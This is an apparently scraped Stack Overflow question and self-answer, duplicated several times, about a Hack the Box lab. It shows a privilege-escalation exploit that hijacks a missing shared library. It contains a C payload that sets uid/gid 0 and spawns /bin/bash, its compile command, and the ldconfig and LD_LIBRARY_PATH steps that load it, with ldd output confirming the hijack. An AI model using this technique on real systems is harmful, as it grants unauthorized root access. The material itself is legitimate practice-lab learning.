Manually linking C library for executable












1














I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.



The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.



Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.



Am I missing something out from this process?



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$


This is the basic C scipt I am using to drop into the shell.



#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}


Compile command to create shared library.



gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl










share|improve this question













migrated from superuser.com Dec 7 at 8:08


This question came from our site for computer enthusiasts and power users.















  • Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
    – Xen2050
    Dec 6 at 13:15
















1














I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.



The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.



Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.



Am I missing something out from this process?



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$


This is the basic C scipt I am using to drop into the shell.



#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}


Compile command to create shared library.



gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl










share|improve this question













migrated from superuser.com Dec 7 at 8:08


This question came from our site for computer enthusiasts and power users.















  • Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
    – Xen2050
    Dec 6 at 13:15














1












1








1







I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.



The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.



Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.



Am I missing something out from this process?



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$


This is the basic C scipt I am using to drop into the shell.



#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}


Compile command to create shared library.



gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl










share|improve this question













I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.



The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.



Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.



Am I missing something out from this process?



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$


This is the basic C scipt I am using to drop into the shell.



#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}


Compile command to create shared library.



gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl







linux






share|improve this question













share|improve this question











share|improve this question




share|improve this question










asked Dec 6 at 9:10









Rich C

70911333




70911333




migrated from superuser.com Dec 7 at 8:08


This question came from our site for computer enthusiasts and power users.






migrated from superuser.com Dec 7 at 8:08


This question came from our site for computer enthusiasts and power users.














  • Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
    – Xen2050
    Dec 6 at 13:15


















  • Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
    – Xen2050
    Dec 6 at 13:15
















Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15




Does bash know it's supposed to run interactively? You've got an include for stdio.h, none of the other libraries need one?
– Xen2050
Dec 6 at 13:15












1 Answer
1






active

oldest

votes


















1














Issue was primarily down to my usage of ldconfig.



Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



Correct command...



ldconfig /dev/shm



Rather than...



ldconfig /dev/shm/libseclogin.c



Then when I ran ldd myexec I got the correct output.



genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)





share|improve this answer





















    Your Answer






    StackExchange.ifUsing("editor", function () {
    StackExchange.using("externalEditor", function () {
    StackExchange.using("snippets", function () {
    StackExchange.snippets.init();
    });
    });
    }, "code-snippets");

    StackExchange.ready(function() {
    var channelOptions = {
    tags: "".split(" "),
    id: "1"
    };
    initTagRenderer("".split(" "), "".split(" "), channelOptions);

    StackExchange.using("externalEditor", function() {
    // Have to fire editor after snippets, if snippets enabled
    if (StackExchange.settings.snippets.snippetsEnabled) {
    StackExchange.using("snippets", function() {
    createEditor();
    });
    }
    else {
    createEditor();
    }
    });

    function createEditor() {
    StackExchange.prepareEditor({
    heartbeatType: 'answer',
    autoActivateHeartbeat: false,
    convertImagesToLinks: true,
    noModals: true,
    showLowRepImageUploadWarning: true,
    reputationToPostImages: 10,
    bindNavPrevention: true,
    postfix: "",
    imageUploader: {
    brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
    contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
    allowUrls: true
    },
    onDemand: true,
    discardSelector: ".discard-answer"
    ,immediatelyShowMarkdownHelp:true
    });


    }
    });














    draft saved

    draft discarded


















    StackExchange.ready(
    function () {
    StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53665550%2fmanually-linking-c-library-for-executable%23new-answer', 'question_page');
    }
    );

    Post as a guest















    Required, but never shown

























    1 Answer
    1






    active

    oldest

    votes








    1 Answer
    1






    active

    oldest

    votes









    active

    oldest

    votes






    active

    oldest

    votes









    1














    Issue was primarily down to my usage of ldconfig.



    Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



    Correct command...



    ldconfig /dev/shm



    Rather than...



    ldconfig /dev/shm/libseclogin.c



    Then when I ran ldd myexec I got the correct output.



    genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
    linux-vdso.so.1 => (0x00007ffdbc6d9000)
    libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)





    share|improve this answer


























      1














      Issue was primarily down to my usage of ldconfig.



      Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



      Correct command...



      ldconfig /dev/shm



      Rather than...



      ldconfig /dev/shm/libseclogin.c



      Then when I ran ldd myexec I got the correct output.



      genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
      linux-vdso.so.1 => (0x00007ffdbc6d9000)
      libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
      libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
      /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)





      share|improve this answer
























        1












        1








        1






        Issue was primarily down to my usage of ldconfig.



        Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



        Correct command...



        ldconfig /dev/shm



        Rather than...



        ldconfig /dev/shm/libseclogin.c



        Then when I ran ldd myexec I got the correct output.



        genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
        linux-vdso.so.1 => (0x00007ffdbc6d9000)
        libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)





        share|improve this answer












        Issue was primarily down to my usage of ldconfig.



        Once I ran it without explicitly specifying the so file, this seemed to correct the issues.



        Correct command...



        ldconfig /dev/shm



        Rather than...



        ldconfig /dev/shm/libseclogin.c



        Then when I ran ldd myexec I got the correct output.



        genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
        linux-vdso.so.1 => (0x00007ffdbc6d9000)
        libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)






        share|improve this answer












        share|improve this answer



        share|improve this answer










        answered Dec 6 at 13:21









        Rich C

        70911333




        70911333






























            draft saved

            draft discarded




















































            Thanks for contributing an answer to Stack Overflow!


            • Please be sure to answer the question. Provide details and share your research!

            But avoid



            • Asking for help, clarification, or responding to other answers.

            • Making statements based on opinion; back them up with references or personal experience.


            To learn more, see our tips on writing great answers.





            Some of your past answers have not been well-received, and you're in danger of being blocked from answering.


            Please pay close attention to the following guidance:


            • Please be sure to answer the question. Provide details and share your research!

            But avoid



            • Asking for help, clarification, or responding to other answers.

            • Making statements based on opinion; back them up with references or personal experience.


            To learn more, see our tips on writing great answers.




            draft saved


            draft discarded














            StackExchange.ready(
            function () {
            StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53665550%2fmanually-linking-c-library-for-executable%23new-answer', 'question_page');
            }
            );

            Post as a guest















            Required, but never shown





















































            Required, but never shown














            Required, but never shown












            Required, but never shown







            Required, but never shown

































            Required, but never shown














            Required, but never shown












            Required, but never shown







            Required, but never shown







            Popular posts from this blog

            Plaza Victoria

            Puebla de Zaragoza

            Musa